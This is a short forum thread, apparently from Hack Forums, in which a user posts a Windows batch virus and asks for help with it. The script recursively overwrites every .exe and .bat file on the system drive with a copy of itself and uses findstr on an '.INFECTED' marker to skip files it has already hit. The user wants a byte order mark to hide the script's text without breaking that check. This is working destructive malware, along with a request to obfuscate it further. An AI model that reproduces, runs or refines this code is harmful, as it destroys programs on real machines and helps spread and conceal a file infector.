

Forum:[Hack Forums](#)

Thread: [Using findstr with byte order mark](#)

zask - March 9, 2017, 12:06 pm

Okay so I've been thinking lately, my class just ended so I can't use a computer until Monday, I'm having an issue. I'm trying to infect (overwrite) exe files and batch files, and I'm using a findstr command to check if the file is already infected. Findstr can only search for raw text in files, so infecting exe files would still be possible as long as the file isn't encrypted. If I wanted to obfuscate a virus I could avoid obfuscating the key word :Infected to make it undetectable or for what ever dumb reason, however when I use a byte order mark I can't avoid hiding the key word, therefore the BOM would interfere with the findstr command. But I believe I have found a way to get around this while still being able to infect files with the byte order mark. but since I don't have a PC I won't have a way to do this myself. It may be easy, but I just don't a PC and I don't want to mess up what I'm trying to do. This is the little virus I have with the byte order mark in the beginning of the code.

Code ¯p

cls

@echo off

for /r %SYSTEMDRIVE% %%C in (*.exe *.bat) do (

findstr /c:".INFECTED" "%%~C" > nul && (

rem

)||(if exist "%%C" copy /y %0 "%%C"))All I'm trying to do is force the byte order mark to avoid interfering with the findstr command

While continuing to hide the scripts raw text.

Maybe there is a way to pipe the files literal text into the findstr command?

Thank you!

zask - March 12, 2017, 10:35 am

Still no response? ... Its been like 4 days now I think.